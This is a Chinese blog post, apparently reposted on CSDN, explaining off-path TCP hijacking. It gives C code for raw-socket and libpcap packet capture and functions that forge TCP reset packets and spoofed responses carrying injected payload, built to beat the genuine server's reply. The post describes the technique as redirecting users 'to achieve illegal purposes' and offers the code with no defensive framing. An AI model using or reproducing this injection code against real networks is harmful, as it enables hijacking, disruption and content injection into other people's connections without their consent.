旁路劫持原理与实现

本文探讨了旁路劫持的技术细节,包括数据采集的方法如原始套接字和网络设备抓包,以及如何通过篡改数据包实现劫持。文中还提供了具体的代码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

    旁路劫持是个备受争议和非议的话题,所以首先声明这是一篇纯技术文章,与伦理道德人格修养及体验感受无关,天气热爱上火多喝点绿豆汤,清热解毒,消暑除烦,止渴健胃,利水消肿,加点薏仁米莲子京糕条一起熬煮味道更佳。

                073602_LZJq_1376494.png

    数据采集:采集有二种方式原始套接字和网络设备抓包,前者效率更高一些但实现相对比较复杂,后者有三方库封装的很好简单易用,C有pcap库wireshark用的就是这个,JAVA有jpcap其实也是一回事,几行代码都能完成从初始化到采集的全过程。如果是电信级应用首选前者企业级应用后者足够,毕竟前者需要自己维护缓冲区和控制复制机制,减少内核区到用户区的数据交换显然可以做的更加灵活,后者都帮开发者处理好了提交上层直接使用就可以了。

原始套接字数据采集:

CGtRaw CRaw;
int iLength = 0;
USHORT usDst = 0;
USHORT usPort = 80;
struct ip* pstIP = NULL;
struct tcphdr* pstTcp = NULL;
struct udphdr* pstUdp = NULL;
struct ether_header* pstEth = NULL;
UCHAR uszRecv[GT_KBYTES2] = { 0 };

if (GT_SUCCESS == CRaw.GtRawInitRecv(GT_PF_PACKET, GT_SOCK_RAW, htons(ETH_P_ALL))) {
	while ((iLength = rCRaw.GtNetRecv(uszRecv, GT_KBYTES2)) > 0) {
		pstEth = (struct ether_header*)uszRecv;
		pstIP = (struct ip*)(uszRecv + sizeof(struct ether_header));
		switch (pstIP->ip_p) {
			case GT_IPPROTO_TCP:
				pstTcp = (struct tcphdr*)(uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4);
				usDst = ntohs(pstTcp->th_dport);
				break;
			case GT_IPPROTO_UDP:
				pstUdp = (struct udphdr*)(uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4);
				usDst = ntohs(pstUdp->uh_dport);
				break;
			default:
				break;
		}

		if (usDst == usPort) {
			GT_PRINT("SrcMac: %02x:%02x:%02x:%02x:%02x:%02x\t",
				pstEth->ether_shost[0], pstEth->ether_shost[1], pstEth->ether_shost[2],
				pstEth->ether_shost[3], pstEth->ether_shost[4], pstEth->ether_shost[5]);
			GT_PRINT("DstMac: %02x:%02x:%02x:%02x:%02x:%02x\n",
				pstEth->ether_dhost[0], pstEth->ether_dhost[1], pstEth->ether_dhost[2],
				pstEth->ether_dhost[3], pstEth->ether_dhost[4], pstEth->ether_dhost[5]);
			GT_PRINT("SrcAddr: %s\t", (char*)inet_ntoa(pstIP->ip_src));
			GT_PRINT("DstAddr: %s\n", (char*)inet_ntoa(pstIP->ip_dst));
			if (NULL != pstTcp) {
				GT_PRINT("Protocol: TCP\n");
				GT_PRINT("SrcPort: %d\t", ntohs(pstTcp->th_sport));
				GT_PRINT("DstPort: %d\n", ntohs(pstTcp->th_dport));
				GT_PRINT("Recv: %s\n\n", uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4 + pstTcp->th_off * 4);
				pstTcp = NULL;
			}
			else if (NULL != pstUdp) {
				GT_PRINT("Protocol: UDP\n");
				GT_PRINT("SrcPort: %d\t", ntohs(pstUdp->uh_sport));
				GT_PRINT("DstPort: %d\n", ntohs(pstUdp->uh_dport));
				GT_PRINT("Recv: %s\n\n", uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4 + sizeof(struct udphdr));
				pstUdp = NULL;
			}
			else {
			}
		}
		memset(uszRecv, '\0', GT_KBYTES2);
		usDst = 0;
	}
	CRaw.GtNetClose();
}

网络设备抓包数据采集:

void GtPcapCore(UCHAR* puszUser, const struct pcap_pkthdr* pstHead, const UCHAR* puszPacket)
{
	UINT uiLength = 0;
	struct ip* pstIP = NULL;
	struct tcphdr* pstTcp = NULL;
	struct udphdr* pstUdp = NULL;
	struct ether_header* pstEther = NULL;

	/* ether */
	pstEther = (struct ether_header*)puszPacket;

	/* ip */
	uiLength += sizeof(struct ether_header);
	pstIP = (struct ip*)(puszPacket + uiLength);
	GT_PRINT("SrcAddr: %s\t", (char*)inet_ntoa(pstIP->ip_src));
	GT_PRINT("DstAddr: %s\n", (char*)inet_ntoa(pstIP->ip_dst));

	/* tcp|udp */
	uiLength += pstIP->ip_hl * 4;
	switch (pstIP->ip_p) {
		case IPPROTO_TCP:
			GT_PRINT("Protocol: TCP\n");
			pstTcp = (struct tcphdr*)(puszPacket + uiLength);
			GT_PRINT("SrcPort: %d\t", ntohs(pstTcp->th_sport));
			GT_PRINT("DstPort: %d\n", ntohs(pstTcp->th_dport));
			uiLength += pstTcp->th_off * 4;
			break;
		case IPPROTO_UDP:
			GT_PRINT("Protocol: UDP\n");
			pstUdp = (struct udphdr*)(puszPacket + uiLength);
			GT_PRINT("SrcPort: %d\t", ntohs(pstUdp->uh_sport));
			GT_PRINT("DstPort: %d\n", ntohs(pstUdp->uh_dport));
			uiLength += sizeof(struct udphdr);
			break;
		default:
			break;
	}

	return;
}

int main(int argc, char* argv[])
{
	bpf_u_int32 ulNet = 0;
	bpf_u_int32 ulMask = 0;
	pcap_t *pstPcap = NULL;
	struct bpf_program stFilter;
	char szError[GT_PACKET] = { 0 };
	char szFilter[GT_PACKET] = { 0 };
	char szDevice[GT_PACKET] = { 0 };
	UCHAR uszPacket[GT_PACKET] = { 0 };

	pstPcap = pcap_open_live(szDevice, 65535, 1, 5, szError);
	if (NULL ==  pstPcap) {
		GT_ERROR("%s\n", strerror(errno));
		return GT_FAILURE;
	}

	if (pcap_lookupnet(szDevice, &ulNet, &ulMask, szError) < 0) {
		GT_ERROR("%s\n", pcap_geterr(pstPcap));
		return GT_FAILURE;
	}

	if (pcap_compile(pstPcap, &stFilter, szFilter, 1, ulMask) < 0) {
		GT_ERROR("%s\n", pcap_geterr(pstPcap));
		return GT_FAILURE;
	}

	if (pcap_setfilter(pstPcap, &stFilter) < 0) {
		GT_ERROR("%s\n", pcap_geterr(pstPcap));
		return GT_FAILURE;
	}

	if (pcap_loop(pstPcap, -1, GtPcapCore, uszPacket) < 0) {
		GT_ERROR("%s\n", pcap_geterr(pstPcap));
		return GT_FAILURE;
	}

	pcap_freecode(&stFilter);
	pcap_close(pstPcap);

	return GT_SUCCESS;
}

    旁路劫持:劫持是指篡改用户源数据并重定向用户目的地址以达到非法目的。作为源目的双方,一方需要得到服务,另一方提供服务,原本二者都不关心对端的来源,加之大多数采用开放性协议的服务又无需身份验证,这就导致旁路设备可以轻易构造出对端信息,代替一端向另外一端做出应答,前提条件只要伪造报文比真实报文先一步到达对端,后到的报文就会被设备当做冗余数据直接丢弃不做响应,所以说劫持能否成功关键看速度。

void CGtRaw::GtRawTcpReset(UCHAR* puszHead, UCHAR* puszDst, int* piDst)
{
	ULONG ulSeq = 0;
	ULONG ulAck = 0;
	USHORT usIP = 0;
	USHORT usSrc = 0;
	USHORT usDst = 0;
	USHORT usIPTCP = 0;
	struct in_addr stSrc;
	struct in_addr stDst;
	struct tcphdr* pstTcp = NULL;
	struct tcphdr* pstReset = NULL;
	struct ip* pstIP = (struct ip*)puszHead;
	UCHAR uszReset[sizeof(struct ip) + sizeof(struct tcphdr)] = { 0 };

	usIP = ntohs(pstIP->ip_len);
	memcpy(&stSrc, &pstIP->ip_src, sizeof(struct in_addr));
	memcpy(&stDst, &pstIP->ip_dst, sizeof(struct in_addr));

	pstTcp = (struct tcphdr*)(puszHead + pstIP->ip_hl * 4);
	usIPTCP = pstIP->ip_hl * 4 + pstTcp->th_off * 4;
	usSrc = ntohs(pstTcp->th_sport);
	usDst = ntohs(pstTcp->th_dport);
	ulSeq = ntohl(pstTcp->th_seq);
	ulAck = ntohl(pstTcp->th_ack);
	*piDst = sizeof(uszReset);

	pstReset = (struct tcphdr*)(uszReset + sizeof(struct ip));
	GtRawTcpHead((UCHAR*)pstReset, usSrc, usDst, ulSeq + usIP - usIPTCP, ulSeq + usIP - usIPTCP);

	pstReset->th_win = 0;
	pstReset->th_flags = TH_RST;
	pstReset->th_sum = GtRawPortCheck(GT_IPPROTO_TCP, (UCHAR*)pstReset, sizeof(uszReset) - sizeof(struct ip), stSrc, stDst);

	GtRawIPHead(uszReset, GT_IPPROTO_TCP, stSrc, stDst, *piDst);

	memcpy(puszDst, uszReset, *piDst);

	return;
}

void CGtRaw::GtRawTcpRedir(UCHAR* puszHead, char* pszSrc, int iSrc, UCHAR* puszDst, int* piDst)
{
	ULONG ulSeq = 0;
	ULONG ulAck = 0;
	USHORT usIP = 0;
	USHORT usSrc = 0;
	USHORT usDst = 0;
	USHORT usIPTCP = 0;
	struct in_addr stSrc;
	struct in_addr stDst;
	struct tcphdr* pstTcp = NULL;
	struct tcphdr* pstRedir = NULL;
	struct ip* pstIP = (struct ip*)puszHead;
	UCHAR uszRedir[sizeof(struct ip) + sizeof(struct tcphdr) + GT_KBYTES2] = { 0 };

	usIP = ntohs(pstIP->ip_len);
	memcpy(&stSrc, &pstIP->ip_src, sizeof(struct in_addr));
	memcpy(&stDst, &pstIP->ip_dst, sizeof(struct in_addr));

	pstTcp = (struct tcphdr*)(puszHead + pstIP->ip_hl * 4);
	usIPTCP = pstIP->ip_hl * 4 + pstTcp->th_off * 4;
	usSrc = ntohs(pstTcp->th_sport);
	usDst = ntohs(pstTcp->th_dport);
	ulSeq = ntohl(pstTcp->th_seq);
	ulAck = ntohl(pstTcp->th_ack);
	*piDst = usIPTCP + iSrc;

	memcpy(uszRedir + usIPTCP, pszSrc, iSrc);
	pstRedir = (struct tcphdr*)(uszRedir + sizeof(struct ip));
	GtRawTcpHead((UCHAR*)pstRedir, usDst, usSrc, ulAck,  ulSeq + usIP - usIPTCP);

	pstRedir->th_off = pstTcp->th_off;
	pstRedir->th_sum = GtRawPortCheck(GT_IPPROTO_TCP, (UCHAR*)pstRedir,  *piDst - sizeof(struct ip), stDst, stSrc);

	GtRawIPHead(uszRedir, GT_IPPROTO_TCP, stDst, stSrc, *piDst);

	memcpy(puszDst, uszRedir, *piDst);

	return;
}

    OK,关于这个话题就说这么多吧,已经说不少了,文章中涉及的代码片段自己去“厉力文武”的码云空间(http://git.oschina.net/gonglibin)扒吧,都是自己人别客气~

转载于:https://my.oschina.net/gonglibin/blog/983118

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值